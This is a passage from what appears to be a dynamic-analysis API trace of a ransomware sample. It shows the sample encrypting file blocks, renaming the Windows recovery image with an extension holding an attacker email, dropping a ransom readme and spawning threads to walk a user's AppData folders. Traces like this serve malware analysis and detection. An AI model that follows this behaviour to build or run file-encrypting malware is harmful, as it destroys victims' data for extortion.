BaseAddress=0x419c58) returned 1 [0049.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef180) returned 1 [0049.178] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4028d0) returned 1 [0049.178] WriteFile (in: hFile=0x564, lpBuffer=0x5ee9810*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x80cfc4c, lpOverlapped=0x0 | out: lpBuffer=0x5ee9810*, lpNumberOfBytesWritten=0x80cfc4c*=0xc800, lpOverlapped=0x0) returned 1 [0051.456] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ee9810) returned 1 [0051.456] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0xa153812, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.456] ReadFile (in: hFile=0x564, lpBuffer=0x5edd008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x80cfc4c, lpOverlapped=0x0 | out: lpBuffer=0x5edd008*, lpNumberOfBytesRead=0x80cfc4c*=0xc800, lpOverlapped=0x0) returned 1 [0051.469] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0xa153812, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0051.470] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402408 [0051.470] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5b20 [0051.471] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43f9c8 [0051.471] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43f9c8) returned 1 [0051.472] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5ee9810 [0051.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43f9c8 [0051.473] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x43fa90 [0051.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43fa90) returned 1 [0051.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5b20) returned 1 [0051.474] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 [0051.474] WriteFile (in: hFile=0x564, lpBuffer=0x5ee9810*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x80cfc4c, lpOverlapped=0x0 | out: lpBuffer=0x5ee9810*, lpNumberOfBytesWritten=0x80cfc4c*=0xc800, lpOverlapped=0x0) returned 1 [0055.901] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ee9810) returned 1 [0055.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x4462c0 [0055.901] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0055.901] WriteFile (in: hFile=0x564, lpBuffer=0x95d0bb0*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x80cfcf4, lpOverlapped=0x0 | out: lpBuffer=0x95d0bb0*, lpNumberOfBytesWritten=0x80cfcf4*=0x143, lpOverlapped=0x0) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0bb0) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441118) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441690) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441848) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4462c0) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441820) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417d0) returned 1 [0057.635] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417a8) returned 1 [0057.635] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d398 [0057.636] wcscpy (in: _Dest=0x12f4d398, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" [0057.636] wcscat (in: _Dest=0x12f4d398, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.mailto[2Hamlampampom@cock.li].cd46d" [0057.636] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x80cfcac, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0057.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d40e0 [0057.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0057.637] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e3d8) returned 1 [0057.637] NtQueryInformationFile (in: FileHandle=0x564, IoStatusBlock=0x80cfcb8, FileInformation=0x80cfc90, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x80cfcb8, FileInformation=0x80cfc90) returned 0x0 [0057.637] NtSetInformationFile (FileHandle=0x564, IoStatusBlock=0x80cfcb8, FileInformation=0x80cfc90, Length=0x28, FileInformationClass=0x4) returned 0x0 [0057.638] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d398) returned 1 [0057.638] FlushFileBuffers (hFile=0x564) returned 1 [0062.195] CloseHandle (hObject=0x564) returned 1 [0062.639] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x86) returned 0x12e2a708 [0062.639] wcscpy (in: _Dest=0x12e2a708, _Source="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0062.639] wcscat (in: _Dest=0x12e2a708, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\CD46D-Readme.txt") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\CD46D-Readme.txt" [0062.639] GetFileAttributesW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\CD46D-Readme.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\cd46d-readme.txt")) returned 0x2020 [0062.640] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a708) returned 1 [0062.640] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400118) returned 1 Thread: id = 268 os_tid = 0x9b4 [0046.897] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x48d048 [0046.898] wcscpy (in: _Dest=0x48d048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0046.898] wcscat (in: _Dest=0x48d048, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0046.898] wcscat (in: _Dest=0x48d048, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*" [0046.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x486cc0 [0046.898] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407a0 [0046.898] wcscmp (_String1=".", _String2=".") returned 0 [0046.898] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.898] wcscmp (_String1="..", _String2=".") returned 1 [0046.898] wcscmp (_String1="..", _String2="..") returned 0 [0046.898] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0046.898] wcscmp (_String1="Adobe", _String2=".") returned 1 [0046.898] wcscmp (_String1="Adobe", _String2="..") returned 1 [0046.898] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x421498 [0046.898] wcscpy (in: _Dest=0x421498, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0046.898] wcscat (in: _Dest=0x421498, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0046.899] wcscat (in: _Dest=0x421498, _Source="Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe" [0047.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c [0047.909] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0047.909] wcscmp (_String1="Application Data", _String2=".") returned 1 [0047.909] wcscmp (_String1="Application Data", _String2="..") returned 1 [0047.909] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7a) returned 0x4477e8 [0047.909] wcscpy (in: _Dest=0x4477e8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.909] wcscat (in: _Dest=0x4477e8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.909] wcscat (in: _Dest=0x4477e8, _Source="Application Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data" [0047.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4477e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f8 [0047.910] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0047.910] wcscmp (_String1="Apps", _String2=".") returned 1 [0047.911] wcscmp (_String1="Apps", _String2="..") returned 1 [0047.911] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420f58 [0047.911] wcscpy (in: _Dest=0x420f58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.911] wcscat (in: _Dest=0x420f58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.911] wcscat (in: _Dest=0x420f58, _Source="Apps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" [0047.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420f58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6fc [0047.912] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0047.912] wcscmp (_String1="Deployment", _String2=".") returned 1 [0047.912] wcscmp (_String1="Deployment", _String2="..") returned 1 [0047.912] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x5e45e90 [0047.912] wcscpy (in: _Dest=0x5e45e90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.912] wcscat (in: _Dest=0x5e45e90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.912] wcscat (in: _Dest=0x5e45e90, _Source="Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" [0047.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x5e45e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x700 [0047.913] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1 [0047.913] wcscmp (_String1="GDIPFONTCACHEV1.DAT", _String2=".") returned 1 [0047.913] wcscmp (_String1="GDIPFONTCACHEV1.DAT", _String2="..") returned 1 [0047.913] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1 [0047.913] wcscmp (_String1="Google", _String2=".") returned 1 [0047.913] wcscmp (_String1="Google", _String2="..") returned 1 [0047.913] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x66) returned 0x421428 [0047.913] wcscpy (in: _Dest=0x421428, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.913] wcscat (in: _Dest=0x421428, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.913] wcscat (in: _Dest=0x421428, _Source="Google" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google" [0047.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x421428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0047.914] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0047.914] wcscmp (_String1="History", _String2=".") returned 1 [0047.914] wcscmp (_String1="History", _String2="..") returned 1 [0047.914] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420cb8 [0047.914] wcscpy (in: _Dest=0x420cb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.915] wcscat (in: _Dest=0x420cb8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.915] wcscat (in: _Dest=0x420cb8, _Source="History" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History" [0047.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x708 [0047.916] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0047.916] wcscmp (_String1="IconCache.db", _String2=".") returned 1 [0047.916] wcscmp (_String1="IconCache.db", _String2="..") returned 1 [0047.916] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0047.916] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0047.916] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0047.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6c) returned 0x5e45f08 [0047.916] wcscpy (in: _Dest=0x5e45f08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.916] wcscat (in: _Dest=0x5e45f08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.916] wcscat (in: _Dest=0x5e45f08, _Source="Microsoft" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft" [0047.916] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e45f08) returned 1 [0047.916] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0047.916] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0047.916] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0047.916] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x400c98 [0047.916] wcscpy (in: _Dest=0x400c98, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.916] wcscat (in: _Dest=0x400c98, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.916] wcscat (in: _Dest=0x400c98, _Source="Microsoft Help" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help" [0047.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x400c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x70c [0047.917] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0047.917] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0047.917] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0047.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x68) returned 0x420ee8 [0047.918] wcscpy (in: _Dest=0x420ee8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local" [0047.918] wcscat (in: _Dest=0x420ee8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\" [0047.918] wcscat (in: _Dest=0x420ee8, _Source="Mozilla" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla" [0047.918] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x420ee8) returned 1 [0047.918] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x486cc0 | out: lpFindFileData=0x486cc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x900c3f00, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x900c3f00, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0047.918] wcscmp (_String1="Temp", _String2=".") returned 1 [0047.918] wcscmp (_String1="Temp", _String2="..") returned 1 [0047.918] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420ee8 [0047.918] wcscpy (in: _Dest=0x420ee8, 